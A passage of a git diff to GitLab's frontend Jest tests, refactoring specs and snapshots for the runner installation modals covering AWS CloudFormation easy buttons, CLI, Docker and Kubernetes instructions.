- disabledfield="disabled"
- htmlfield="html"
- label="Choose your preferred GitLab Runner"
- label-sr-only=""
- options=""
- textfield="text"
- valuefield="value"
- >
- <gl-form-radio-stub
- class="gl-py-5 gl-pl-8 gl-border-b"
- value="[object Object]"
- >
- <div
- class="gl-mt-n1 gl-pl-4 gl-pb-2 gl-font-weight-bold"
- >
-
- Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot.
-
- <gl-accordion-stub
- class="gl-pt-3"
- headerlevel="3"
- >
- <gl-accordion-item-stub
- class="gl-font-weight-normal"
- headerclass=""
- title="More Details"
- titlevisible="Less Details"
- >
- <p
- class="gl-pt-2"
- >
- No spot. This is the default choice for Linux Docker executor.
- </p>
-
- <p
- class="gl-m-0"
- >
- A capacity of 1 enables warm HA through Auto Scaling group re-spawn. A capacity of 2 enables hot HA because the service is available even when a node is lost. A capacity of 3 or more enables hot HA and manual scaling of runner fleet.
- </p>
- </gl-accordion-item-stub>
- </gl-accordion-stub>
- </div>
- </gl-form-radio-stub>
- <gl-form-radio-stub
- class="gl-py-5 gl-pl-8 gl-border-b"
- value="[object Object]"
- >
- <div
- class="gl-mt-n1 gl-pl-4 gl-pb-2 gl-font-weight-bold"
- >
-
- Amazon Linux 2 Docker HA with manual scaling and optional scheduling. 100% spot.
-
- <gl-accordion-stub
- class="gl-pt-3"
- headerlevel="3"
- >
- <gl-accordion-item-stub
- class="gl-font-weight-normal"
- headerclass=""
- title="More Details"
- titlevisible="Less Details"
- >
- <p
- class="gl-pt-2"
- >
- 100% spot.
- </p>
-
- <p
- class="gl-m-0"
- >
- Capacity of 1 enables warm HA through Auto Scaling group re-spawn. Capacity of 2 enables hot HA because the service is available even when a node is lost. Capacity of 3 or more enables hot HA and manual scaling of runner fleet.
- </p>
- </gl-accordion-item-stub>
- </gl-accordion-stub>
- </div>
- </gl-form-radio-stub>
- <gl-form-radio-stub
- class="gl-py-5 gl-pl-8 gl-border-b"
- value="[object Object]"
- >
- <div
- class="gl-mt-n1 gl-pl-4 gl-pb-2 gl-font-weight-bold"
- >
-
- Windows 2019 Shell with manual scaling and optional scheduling. Non-spot.
-
- <gl-accordion-stub
- class="gl-pt-3"
- headerlevel="3"
- >
- <gl-accordion-item-stub
- class="gl-font-weight-normal"
- headerclass=""
- title="More Details"
- titlevisible="Less Details"
- >
- <p
- class="gl-pt-2"
- >
- No spot. Default choice for Windows Shell executor.
- </p>
-
- <p
- class="gl-m-0"
- >
- Capacity of 1 enables warm HA through Auto Scaling group re-spawn. Capacity of 2 enables hot HA because the service is available even when a node is lost. Capacity of 3 or more enables hot HA and manual scaling of runner fleet.
- </p>
- </gl-accordion-item-stub>
- </gl-accordion-stub>
- </div>
- </gl-form-radio-stub>
- <gl-form-radio-stub
- class="gl-py-5 gl-pl-8"
- value="[object Object]"
- >
- <div
- class="gl-mt-n1 gl-pl-4 gl-pb-2 gl-font-weight-bold"
- >
-
- Windows 2019 Shell with manual scaling and optional scheduling. 100% spot.
-
- <gl-accordion-stub
- class="gl-pt-3"
- headerlevel="3"
- >
- <gl-accordion-item-stub
- class="gl-font-weight-normal"
- headerclass=""
- title="More Details"
- titlevisible="Less Details"
- >
- <p
- class="gl-pt-2"
- >
- 100% spot.
- </p>
-
- <p
- class="gl-m-0"
- >
- Capacity of 1 enables warm HA through Auto Scaling group re-spawn. Capacity of 2 enables hot HA because the service is available even when a node is lost. Capacity of 3 or more enables hot HA and manual scaling of runner fleet.
- </p>
- </gl-accordion-item-stub>
- </gl-accordion-stub>
- </div>
- </gl-form-radio-stub>
- </gl-form-radio-group-stub>
-
- <p>
- <gl-sprintf-stub
- message="Don't see what you are looking for? See the full list of options, including a fully customizable option %{linkStart}here%{linkEnd}."
- />
- </p>
-</gl-modal-stub>
-`;
diff --git a/spec/frontend/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal_spec.js b/spec/frontend/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal_spec.js
index a9ba4946358..c8ca75787f1 100644
--- a/spec/frontend/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal_spec.js
+++ b/spec/frontend/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal_spec.js
@@ -1,30 +1,28 @@
-import { GlModal, GlFormRadio } from '@gitlab/ui';
+import { GlModal } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
-import { getBaseURL, visitUrl } from '~/lib/utils/url_utility';
-import { mockTracking } from 'helpers/tracking_helper';
-import {
- CF_BASE_URL,
- TEMPLATES_BASE_URL,
- EASY_BUTTONS,
-} from '~/vue_shared/components/runner_aws_deployments/constants';
+import { s__ } from '~/locale';
import RunnerAwsDeploymentsModal from '~/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal.vue';
+import RunnerAwsInstructions from '~/vue_shared/components/runner_instructions/instructions/runner_aws_instructions.vue';
jest.mock('~/lib/utils/url_utility', () => ({
...jest.requireActual('~/lib/utils/url_utility'),
visitUrl: jest.fn(),
}));
+const mockModalId = 'runner-aws-deployments-modal';
+
describe('RunnerAwsDeploymentsModal', () => {
let wrapper;
const findModal = () => wrapper.findComponent(GlModal);
- const findEasyButtons = () => wrapper.findAllComponents(GlFormRadio);
+ const findRunnerAwsInstructions = () => wrapper.findComponent(RunnerAwsInstructions);
- const createComponent = () => {
+ const createComponent = (options) => {
wrapper = shallowMount(RunnerAwsDeploymentsModal, {
propsData: {
- modalId: 'runner-aws-deployments-modal',
+ modalId: mockModalId,
},
+ ...options,
});
};
@@ -36,39 +34,39 @@ describe('RunnerAwsDeploymentsModal', () => {
wrapper.destroy();
});
- it('renders the modal', () => {
- expect(wrapper.element).toMatchSnapshot();
+ it('renders modal', () => {
+ expect(findModal().props()).toMatchObject({
+ size: 'sm',
+ modalId: mockModalId,
+ title: s__('Runners|Deploy GitLab Runner in AWS'),
+ });
+ expect(findModal().attributes()).toMatchObject({
+ 'hide-footer': '',
+ });
});
- it('should contain all easy buttons', () => {
- expect(findEasyButtons()).toHaveLength(EASY_BUTTONS.length);
+ it('renders modal contents', () => {
+ expect(findRunnerAwsInstructions().exists()).toBe(true);
});
- describe('first easy button', () => {
- it('should contain the correct description', () => {
- expect(findEasyButtons().at(0).text()).toContain(EASY_BUTTONS[0].description);
- });
-
- it('should contain the correct link', () => {
- const templateUrl = encodeURIComponent(TEMPLATES_BASE_URL + EASY_BUTTONS[0].templateName);
- const { stackName } = EASY_BUTTONS[0];
- const instanceUrl = encodeURIComponent(getBaseURL());
- const url = `${CF_BASE_URL}templateURL=${templateUrl}&stackName=${stackName}&param_3GITLABRunnerInstanceURL=${instanceUrl}`;
-
- findModal().vm.$emit('primary');
+ it('when contents trigger closing, modal closes', () => {
+ const mockClose = jest.fn();
- expect(visitUrl).toHaveBeenCalledWith(url, true);
+ createComponent({
+ stubs: {
+ GlModal: {
+ template: '<div><slot/></div>',
+ methods: {
+ close: mockClose,
+ },
+ },
+ },
});
- it('should track an event when clicked', () => {
- const trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
+ expect(mockClose).toHaveBeenCalledTimes(0);
- findModal().vm.$emit('primary');
+ findRunnerAwsInstructions().vm.$emit('close');
- expect(trackingSpy).toHaveBeenCalledTimes(1);
- expect(trackingSpy).toHaveBeenCalledWith(undefined, 'template_clicked', {
- label: EASY_BUTTONS[0].stackName,
- });
- });
+ expect(mockClose).toHaveBeenCalledTimes(1);
});
});
diff --git a/spec/frontend/vue_shared/components/runner_instructions/instructions/__snapshots__/runner_docker_instructions_spec.js.snap b/spec/frontend/vue_shared/components/runner_instructions/instructions/__snapshots__/runner_docker_instructions_spec.js.snap
new file mode 100644
index 00000000000..d14f66df8a1
--- /dev/null
+++ b/spec/frontend/vue_shared/components/runner_instructions/instructions/__snapshots__/runner_docker_instructions_spec.js.snap
@@ -0,0 +1,3 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`RunnerDockerInstructions renders contents 1`] = `"To install Runner in a container follow the instructions described in the GitLab documentation View installation instructions Close"`;
diff --git a/spec/frontend/vue_shared/components/runner_instructions/instructions/__snapshots__/runner_kubernetes_instructions_spec.js.snap b/spec/frontend/vue_shared/components/runner_instructions/instructions/__snapshots__/runner_kubernetes_instructions_spec.js.snap
new file mode 100644
index 00000000000..1172bf07dff
--- /dev/null
+++ b/spec/frontend/vue_shared/components/runner_instructions/instructions/__snapshots__/runner_kubernetes_instructions_spec.js.snap
@@ -0,0 +1,3 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`RunnerKubernetesInstructions renders contents 1`] = `"To install Runner in Kubernetes follow the instructions described in the GitLab documentation. View installation instructions Close"`;
diff --git a/spec/frontend/vue_shared/components/runner_instructions/instructions/runner_aws_instructions_spec.js b/spec/frontend/vue_shared/components/runner_instructions/instructions/runner_aws_instructions_spec.js
new file mode 100644
index 00000000000..4d566dbec0c
--- /dev/null
+++ b/spec/frontend/vue_shared/components/runner_instructions/instructions/runner_aws_instructions_spec.js
@@ -0,0 +1,117 @@
+import {
+ GlAccordion,
+ GlAccordionItem,
+ GlButton,
+ GlFormRadio,
+ GlFormRadioGroup,
+ GlLink,
+ GlSprintf,
+} from '@gitlab/ui';
+import { getBaseURL, visitUrl } from '~/lib/utils/url_utility';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import { mockTracking } from 'helpers/tracking_helper';
+import {
+ AWS_README_URL,
+ AWS_CF_BASE_URL,
+ AWS_TEMPLATES_BASE_URL,
+ AWS_EASY_BUTTONS,
+} from '~/vue_shared/components/runner_instructions/constants';
+import RunnerAwsInstructions from '~/vue_shared/components/runner_instructions/instructions/runner_aws_instructions.vue';
+import { __ } from '~/locale';
+
+jest.mock('~/lib/utils/url_utility', () => ({
+ ...jest.requireActual('~/lib/utils/url_utility'),
+ visitUrl: jest.fn(),
+}));
+
+describe('RunnerAwsInstructions', () => {
+ let wrapper;
+
+ const findEasyButtonsRadioGroup = () => wrapper.findComponent(GlFormRadioGroup);
+ const findEasyButtons = () => wrapper.findAllComponents(GlFormRadio);
+ const findEasyButtonAt = (i) => findEasyButtons().at(i);
+ const findLink = () => wrapper.findComponent(GlLink);
+ const findOkButton = () =>
+ wrapper
+ .findAllComponents(GlButton)
+ .filter((w) => w.props('variant') === 'confirm')
+ .at(0);
+ const findCloseButton = () => wrapper.findByText(__('Close'));
+
+ const createComponent = () => {
+ wrapper = shallowMountExtended(RunnerAwsInstructions, {
+ stubs: {
+ GlSprintf,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('should contain every button', () => {
+ expect(findEasyButtons()).toHaveLength(AWS_EASY_BUTTONS.length);
+ });
+
+ const AWS_EASY_BUTTONS_PARAMS = AWS_EASY_BUTTONS.map((val, idx) => ({ ...val, idx }));
+
+ describe.each(AWS_EASY_BUTTONS_PARAMS)(
+ 'easy button %#',
+ ({ idx, description, moreDetails1, moreDetails2, templateName, stackName }) => {
+ it('should contain button description', () => {
+ const text = findEasyButtonAt(idx).text();
+
+ expect(text).toContain(description);
+ expect(text).toContain(moreDetails1);
+ expect(text).toContain(moreDetails2);
+ });
+
+ it('should show more details', () => {
+ const accordion = findEasyButtonAt(idx).findComponent(GlAccordion);
+ const accordionItem = accordion.findComponent(GlAccordionItem);
+
+ expect(accordion.props('headerLevel')).toBe(3);
+ expect(accordionItem.props('title')).toBe(__('More Details'));
+ expect(accordionItem.props('titleVisible')).toBe(__('Less Details'));
+ });
+
+ describe('when clicked', () => {
+ let trackingSpy;
+
+ beforeEach(() => {
+ trackingSpy = mockTracking(undefined, wrapper.element, jest.spyOn);
+
+ findEasyButtonsRadioGroup().vm.$emit('input', idx);
+ findOkButton().vm.$emit('click');
+ });
+
+ it('should contain the correct link', () => {
+ const templateUrl = encodeURIComponent(AWS_TEMPLATES_BASE_URL + templateName);
+ const instanceUrl = encodeURIComponent(getBaseURL());
+ const url = `${AWS_CF_BASE_URL}templateURL=${templateUrl}&stackName=${stackName}&param_3GITLABRunnerInstanceURL=${instanceUrl}`;
+
+ expect(visitUrl).toHaveBeenCalledTimes(1);
+ expect(visitUrl).toHaveBeenCalledWith(url, true);
+ });
+
+ it('should track an event when clicked', () => {
+ expect(trackingSpy).toHaveBeenCalledTimes(1);
+ expect(trackingSpy).toHaveBeenCalledWith(undefined, 'template_clicked', {
+ label: stackName,
+ });
+ });
+ });
+ },
+ );
+
+ it('displays link with more information', () => {
+ expect(findLink().attributes('href')).toBe(AWS_README_URL);
+ });
+
+ it('triggers the modal to close', () => {
+ findCloseButton().vm.$emit('click');
+
+ expect(wrapper.emitted('close')).toHaveLength(1);
+ });
+});
diff --git a/spec/frontend/vue_shared/components/runner_instructions/instructions/runner_cli_instructions_spec.js b/spec/frontend/vue_shared/components/runner_instructions/instructions/runner_cli_instructions_spec.js
new file mode 100644
index 00000000000..f9d700fe67f
--- /dev/null
+++ b/spec/frontend/vue_shared/components/runner_instructions/instructions/runner_cli_instructions_spec.js
@@ -0,0 +1,169 @@
+import { GlAlert, GlLoadingIcon } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import getRunnerSetupInstructionsQuery from '~/vue_shared/components/runner_instructions/graphql/get_runner_setup.query.graphql';
+import RunnerCliInstructions from '~/vue_shared/components/runner_instructions/instructions/runner_cli_instructions.vue';
+
+import { mockRunnerPlatforms, mockInstructions, mockInstructionsWindows } from '../mock_data';
+
+Vue.use(VueApollo);
+
+jest.mock('@gitlab/ui/dist/utils');
+
+const mockPlatforms = mockRunnerPlatforms.data.runnerPlatforms.nodes.map(
+ ({ name, humanReadableName, architectures }) => ({
+ name,
+ humanReadableName,
+ architectures: architectures?.nodes || [],
+ }),
+);
+
+const [mockPlatform, mockPlatform2] = mockPlatforms;
+const mockArchitectures = mockPlatform.architectures;
+
+describe('RunnerCliInstructions component', () => {
+ let wrapper;
+ let fakeApollo;
+ let runnerSetupInstructionsHandler;
+
+ const findGlLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
+ const findAlert = () => wrapper.findComponent(GlAlert);
+ const findArchitectureDropdownItems = () => wrapper.findAllByTestId('architecture-dropdown-item');
+ const findBinaryDownloadButton = () => wrapper.findByTestId('binary-download-button');
+ const findBinaryInstructions = () => wrapper.findByTestId('binary-instructions');
+ const findRegisterCommand = () => wrapper.findByTestId('register-command');
+
+ const createComponent = ({ props, ...options } = {}) => {
+ const requestHandlers = [[getRunnerSetupInstructionsQuery, runnerSetupInstructionsHandler]];
+
+ fakeApollo = createMockApollo(requestHandlers);
+
+ wrapper = extendedWrapper(
+ shallowMount(RunnerCliInstructions, {
+ propsData: {
+ platform: mockPlatform,
+ registrationToken: 'MY_TOKEN',
+ ...props,
+ },
+ apolloProvider: fakeApollo,
+ ...options,
+ }),
+ );
+ };
+
+ beforeEach(() => {
+ runnerSetupInstructionsHandler = jest.fn().mockResolvedValue(mockInstructions);
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('when the instructions are shown', () => {
+ beforeEach(async () => {
+ createComponent();
+ await waitForPromises();
+ });
+
+ it('should not show alert', async () => {
+ expect(findAlert().exists()).toBe(false);
+ });
+
+ it('should contain a number of dropdown items for the architecture options', () => {
+ expect(findArchitectureDropdownItems()).toHaveLength(
+ mockRunnerPlatforms.data.runnerPlatforms.nodes[0].architectures.nodes.length,
+ );
+ });
+
+ describe('should display instructions', () => {
+ const { installInstructions } = mockInstructions.data.runnerSetup;
+
+ it('runner instructions are requested', () => {
+ expect(runnerSetupInstructionsHandler).toHaveBeenCalledWith({
+ platform: 'linux',
+ architecture: 'amd64',
+ });
+ });
+
+ it('binary instructions are shown', async () => {
+ const instructions = findBinaryInstructions().text();
+
+ expect(instructions).toBe(installInstructions.trim());
+ });
+
+ it('register command is shown with a replaced token', async () => {
+ const command = findRegisterCommand().text();
+
+ expect(command).toBe(
+ 'sudo gitlab-runner register --url http://localhost/ --registration-token MY_TOKEN',
+ );
+ });
+
+ it('architecture download link is shown', () => {
+ expect(findBinaryDownloadButton().attributes('href')).toBe(
+ mockArchitectures[0].downloadLocation,
+ );
+ });
+ });
+
+ describe('after another platform and architecture are selected', () => {
+ beforeEach(async () => {
+ runnerSetupInstructionsHandler.mockResolvedValue(mockInstructionsWindows);
+
+ findArchitectureDropdownItems().at(1).vm.$emit('click');
+
+ wrapper.setProps({ platform: mockPlatform2 });
+ await waitForPromises();
+ });
+
+ it('runner instructions are requested', () => {
+ expect(runnerSetupInstructionsHandler).toHaveBeenLastCalledWith({
+ platform: mockPlatform2.name,
+ architecture: mockPlatform2.architectures[0].name,
+ });
+ });
+ });
+ });
+
+ describe('when a register token is not known', () => {
+ beforeEach(async () => {
+ createComponent({ props: { registrationToken: undefined } });
+ await waitForPromises();
+ });
+
+ it('register command is shown without a defined registration token', () => {
+ const instructions = findRegisterCommand().text();
+
+ expect(instructions).toBe(mockInstructions.data.runnerSetup.registerInstructions);
+ });
+ });
+
+ describe('when apollo is loading', () => {
+ it('should show a loading icon', async () => {
+ createComponent();
+
+ expect(findGlLoadingIcon().exists()).toBe(true);
+
+ await waitForPromises();
+
+ expect(findGlLoadingIcon().exists()).toBe(false);
+ });
+ });
+
+ describe('when instructions cannot be loaded', () => {
+ beforeEach(async () => {
+ runnerSetupInstructionsHandler.mockRejectedValue();
+
+ createComponent();
+ await waitForPromises();
+ });
+
+ it('should show alert', () => {
+ expect(wrapper.emitted()).toEqual({ error: [[]] });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/runner_instructions/instructions/runner_docker_instructions_spec.js b/spec/frontend/vue_shared/components/runner_instructions/instructions/runner_docker_instructions_spec.js
new file mode 100644
index 00000000000..2922d261b24
--- /dev/null
+++ b/spec/frontend/vue_shared/components/runner_instructions/instructions/runner_docker_instructions_spec.js
@@ -0,0 +1,28 @@
+import { shallowMount } from '@vue/test-utils';
+
+import { GlButton } from '@gitlab/ui';
+import RunnerDockerInstructions from '~/vue_shared/components/runner_instructions/instructions/runner_docker_instructions.vue';
+
+describe('RunnerDockerInstructions', () => {
+ let wrapper;
+
+ const createComponent = () => {
+ wrapper = shallowMount(RunnerDockerInstructions, {});
+ };
+
+ const findButton = () => wrapper.findComponent(GlButton);
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders contents', () => {
+ expect(wrapper.text().replace(/\s+/g, ' ')).toMatchSnapshot();
+ });
+
+ it('renders link', () => {
+ expect(findButton().attributes('href')).toBe(
+ 'https://docs.gitlab.com/runner/install/docker.html',
+ );
+ });
+});
diff --git a/spec/frontend/vue_shared/components/runner_instructions/instructions/runner_kubernetes_instructions_spec.js b/spec/frontend/vue_shared/components/runner_instructions/instructions/runner_kubernetes_instructions_spec.js
new file mode 100644
index 00000000000..0bfcc0e3d86
--- /dev/null
+++ b/spec/frontend/vue_shared/components/runner_instructions/instructions/runner_kubernetes_instructions_spec.js
@@ -0,0 +1,28 @@
+import { shallowMount } from '@vue/test-utils';
+
+import { GlButton } from '@gitlab/ui';
+import RunnerKubernetesInstructions from '~/vue_shared/components/runner_instructions/instructions/runner_kubernetes_instructions.vue';
+
+describe('RunnerKubernetesInstructions', () => {
+ let wrapper;
+
+ const createComponent = () => {
+ wrapper = shallowMount(RunnerKubernetesInstructions, {});
+ };
+
+ const findButton = () => wrapper.findComponent(GlButton);
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders contents', () => {
+ expect(wrapper.text().replace(/\s+/g, ' ')).toMatchSnapshot();
+ });
+
+ it('renders link', () => {
+ expect(findButton().attributes('href')).toBe(
+ 'https://docs.gitlab.com/runner/install/kubernetes.html',
+ );
+ });
+});
diff --git a/spec/frontend/vue_shared/components/runner_instructions/mock_data.js b/spec/frontend/vue_shared/components/runner_instructions/mock_data.js
index 79cacadd6af..add334f166c 100644
--- a/spec/frontend/vue_shared/components/runner_instructions/mock_data.js
+++ b/spec/frontend/vue_shared/components/runner_instructions/mock_data.js
@@ -1,5 +1,5 @@
-import mockGraphqlRunnerPlatforms from 'test_fixtures/graphql/runner_instructions/get_runner_platforms.query.graphql.json';
-import mockGraphqlInstructions from 'test_fixtures/graphql/runner_instructions/get_runner_setup.query.graphql.json';
-import mockGraphqlInstructionsWindows from 'test_fixtures/graphql/runner_instructions/get_runner_setup.query.graphql.windows.json';
+import mockRunnerPlatforms from 'test_fixtures/graphql/runner_instructions/get_runner_platforms.query.graphql.json';
+import mockInstructions from 'test_fixtures/graphql/runner_instructions/get_runner_setup.query.graphql.json';
+import mockInstructionsWindows from 'test_fixtures/graphql/runner_instructions/get_runner_setup.query.graphql.windows.json';
-export { mockGraphqlRunnerPlatforms, mockGraphqlInstructions, mockGraphqlInstructionsWindows };
+export { mockRunnerPlatforms, mockInstructions, mockInstructionsWindows };
diff --git a/spec/frontend/vue_shared/components/runner_instructions/runner_instructions_modal_spec.js b/spec/frontend/vue_shared/components/runner_instructions/runner_instructions_modal_spec.js
index ae9157591c5..19f2dd137ff 100644
--- a/spec/frontend/vue_shared/components/runner_instructions/runner_instructions_modal_spec.js
+++ b/spec/frontend/vue_shared/components/runner_instructions/runner_instructions_modal_spec.js
@@ -1,4 +1,4 @@
-import { GlAlert, GlModal, GlButton, GlLoadingIcon, GlSkeletonLoader } from '@gitlab/ui';
+import { GlAlert, GlModal, GlButton, GlSkeletonLoader } from '@gitlab/ui';
import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
import { shallowMount } from '@vue/test-utils';
import Vue, { nextTick } from 'vue';
@@ -6,15 +6,13 @@ import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
-import getRunnerPlatformsQuery from '~/vue_shared/components/runner_instructions/graphql/queries/get_runner_platforms.query.graphql';
-import getRunnerSetupInstructionsQuery from '~/vue_shared/components/runner_instructions/graphql/queries/get_runner_setup.query.graphql';
+import getRunnerPlatformsQuery from '~/vue_shared/components/runner_instructions/graphql/get_runner_platforms.query.graphql';
import RunnerInstructionsModal from '~/vue_shared/components/runner_instructions/runner_instructions_modal.vue';
+import RunnerCliInstructions from '~/vue_shared/components/runner_instructions/instructions/runner_cli_instructions.vue';
+import RunnerDockerInstructions from '~/vue_shared/components/runner_instructions/instructions/runner_docker_instructions.vue';
+import RunnerKubernetesInstructions from '~/vue_shared/components/runner_instructions/instructions/runner_kubernetes_instructions.vue';
-import {
- mockGraphqlRunnerPlatforms,
- mockGraphqlInstructions,
- mockGraphqlInstructionsWindows,
-} from './mock_data';
+import { mockRunnerPlatforms } from './mock_data';
Vue.use(VueApollo);
@@ -40,24 +38,16 @@ describe('RunnerInstructionsModal component', () => {
let wrapper;
let fakeApollo;
let runnerPlatformsHandler;
- let runnerSetupInstructionsHandler;
const findSkeletonLoader = () => wrapper.findComponent(GlSkeletonLoader);
- const findGlLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
const findAlert = () => wrapper.findComponent(GlAlert);
const findModal = () => wrapper.findComponent(GlModal);
const findPlatformButtonGroup = () => wrapper.findByTestId('platform-buttons');
const findPlatformButtons = () => findPlatformButtonGroup().findAllComponents(GlButton);
- const findArchitectureDropdownItems = () => wrapper.findAllByTestId('architecture-dropdown-item');
- const findBinaryDownloadButton = () => wrapper.findByTestId('binary-download-button');
- const findBinaryInstructions = () => wrapper.findByTestId('binary-instructions');
- const findRegisterCommand = () => wrapper.findByTestId('register-command');
+ const findRunnerCliInstructions = () => wrapper.findComponent(RunnerCliInstructions);
const createComponent = ({ props, shown = true, ...options } = {}) => {
- const requestHandlers = [
- [getRunnerPlatformsQuery, runnerPlatformsHandler],
- [getRunnerSetupInstructionsQuery, runnerSetupInstructionsHandler],
- ];
+ const requestHandlers = [[getRunnerPlatformsQuery, runnerPlatformsHandler]];
fakeApollo = createMockApollo(requestHandlers);
@@ -80,8 +70,7 @@ describe('RunnerInstructionsModal component', () => {
};
beforeEach(() => {
- runnerPlatformsHandler = jest.fn().mockResolvedValue(mockGraphqlRunnerPlatforms);
- runnerSetupInstructionsHandler = jest.fn().mockResolvedValue(mockGraphqlInstructions);
+ runnerPlatformsHandler = jest.fn().mockResolvedValue(mockRunnerPlatforms);
});
afterEach(() => {
@@ -103,90 +92,15 @@ describe('RunnerInstructionsModal component', () => {
const buttons = findPlatformButtons();
- expect(buttons).toHaveLength(mockGraphqlRunnerPlatforms.data.runnerPlatforms.nodes.length);
+ expect(buttons).toHaveLength(mockRunnerPlatforms.data.runnerPlatforms.nodes.length);
});
- it('should contain a number of dropdown items for the architecture options', () => {
- expect(findArchitectureDropdownItems()).toHaveLength(
- mockGraphqlRunnerPlatforms.data.runnerPlatforms.nodes[0].architectures.nodes.length,
- );
- });
-
- describe('should display default instructions', () => {
- const { installInstructions } = mockGraphqlInstructions.data.runnerSetup;
-
- it('runner instructions are requested', () => {
- expect(runnerSetupInstructionsHandler).toHaveBeenCalledWith({
- platform: 'linux',
- architecture: 'amd64',
- });
- });
-
- it('binary instructions are shown', async () => {
- const instructions = findBinaryInstructions().text();
-
- expect(instructions).toBe(installInstructions.trim());
- });
-
- it('register command is shown with a replaced token', async () => {
- const command = findRegisterCommand().text();
-
- expect(command).toBe(
- 'sudo gitlab-runner register --url http://localhost/ --registration-token MY_TOKEN',
- );
- });
- });
-
- describe('after a platform and architecture are selected', () => {
- const windowsIndex = 2;
- const { installInstructions } = mockGraphqlInstructionsWindows.data.runnerSetup;
-
- beforeEach(async () => {
- runnerSetupInstructionsHandler.mockResolvedValue(mockGraphqlInstructionsWindows);
-
- findPlatformButtons().at(windowsIndex).vm.$emit('click');
- await waitForPromises();
- });
+ it('should display architecture options', () => {
+ const { architectures } = findRunnerCliInstructions().props('platform');
- it('runner instructions are requested', () => {
- expect(runnerSetupInstructionsHandler).toHaveBeenLastCalledWith({
- platform: 'windows',
- architecture: 'amd64',
- });
- });
-
- it('architecture download link is updated', () => {
- const architectures =
- mockGraphqlRunnerPlatforms.data.runnerPlatforms.nodes[windowsIndex].architectures.nodes;
-
- expect(findBinaryDownloadButton().attributes('href')).toBe(
- architectures[0].downloadLocation,
- );
- });
-
- it('other binary instructions are shown', () => {
- const instructions = findBinaryInstructions().text();
-
- expect(instructions).toBe(installInstructions.trim());
- });
-
- it('register command is shown', () => {
- const command = findRegisterCommand().text();
-
- expect(command).toBe(
- './gitlab-runner.exe register --url http://localhost/ --registration-token MY_TOKEN',
- );
- });
-
- it('runner instructions are requested with another architecture', async () => {
- findArchitectureDropdownItems().at(1).vm.$emit('click');
- await waitForPromises();
-
- expect(runnerSetupInstructionsHandler).toHaveBeenLastCalledWith({
- platform: 'windows',
- architecture: '386',
- });
- });
+ expect(architectures).toEqual(
+ mockRunnerPlatforms.data.runnerPlatforms.nodes[0].architectures.nodes,
+ );
});
describe('when the modal resizes', () => {
@@ -206,16 +120,14 @@ describe('RunnerInstructionsModal component', () => {
});
});
- describe('when a register token is not known', () => {
+ describe.each([null, 'DEFINED'])('when registration token is %p', (token) => {
beforeEach(async () => {
- createComponent({ props: { registrationToken: undefined } });
+ createComponent({ props: { registrationToken: token } });
await waitForPromises();
});
it('register command is shown without a defined registration token', () => {
- const instructions = findRegisterCommand().text();
-
- expect(instructions).toBe(mockGraphqlInstructions.data.runnerSetup.registerInstructions);
+ expect(findRunnerCliInstructions().props('registrationToken')).toBe(token);
});
});
@@ -225,21 +137,33 @@ describe('RunnerInstructionsModal component', () => {
await waitForPromises();
});
- it('runner instructions for the default selected platform are requested', () => {
- expect(runnerSetupInstructionsHandler).toHaveBeenLastCalledWith({
- platform: 'osx',
- architecture: 'amd64',
- });
+ it('should preselect', () => {
+ const selected = findPlatformButtons()
+ .filter((btn) => btn.props('selected'))
+ .at(0);
+
+ expect(selected.text()).toBe('macOS');
});
- it('sets the focus on the default selected platform', () => {
- const findOsxPlatformButton = () => wrapper.findComponent({ ref: 'osx' });
+ it('runner instructions for the default selected platform are requested', () => {
+ const { name } = findRunnerCliInstructions().props('platform');
- findOsxPlatformButton().element.focus = jest.fn();
+ expect(name).toBe('osx');
+ });
+ });
- findModal().vm.$emit('shown');
+ describe.each`
+ platform | component
+ ${'docker'} | ${RunnerDockerInstructions}
+ ${'kubernetes'} | ${RunnerKubernetesInstructions}
+ `('with platform "$platform"', ({ platform, component }) => {
+ beforeEach(async () => {
+ createComponent({ props: { defaultPlatformName: platform } });
+ await waitForPromises();
+ });
- expect(findOsxPlatformButton().element.focus).toHaveBeenCalled();
+ it(`runner instructions for ${platform} are shown`, () => {
+ expect(wrapper.findComponent(component).exists()).toBe(true);
});
});
@@ -251,7 +175,6 @@ describe('RunnerInstructionsModal component', () => {
it('does not fetch instructions', () => {
expect(runnerPlatformsHandler).not.toHaveBeenCalled();
- expect(runnerSetupInstructionsHandler).not.toHaveBeenCalled();
});
});
@@ -259,43 +182,41 @@ describe('RunnerInstructionsModal component', () => {
it('should show a skeleton loader', async () => {
createComponent();
await nextTick();
- await nextTick();
expect(findSkeletonLoader().exists()).toBe(true);
- expect(findGlLoadingIcon().exists()).toBe(false);
-
- // wait on fetch of both `platforms` and `instructions`
- await nextTick();
- await nextTick();
-
- expect(findGlLoadingIcon().exists()).toBe(true);
});
it('once loaded, should not show a loading state', async () => {
createComponent();
-
await waitForPromises();
expect(findSkeletonLoader().exists()).toBe(false);
- expect(findGlLoadingIcon().exists()).toBe(false);
});
});
- describe('when instructions cannot be loaded', () => {
- beforeEach(async () => {
- runnerSetupInstructionsHandler.mockRejectedValue();
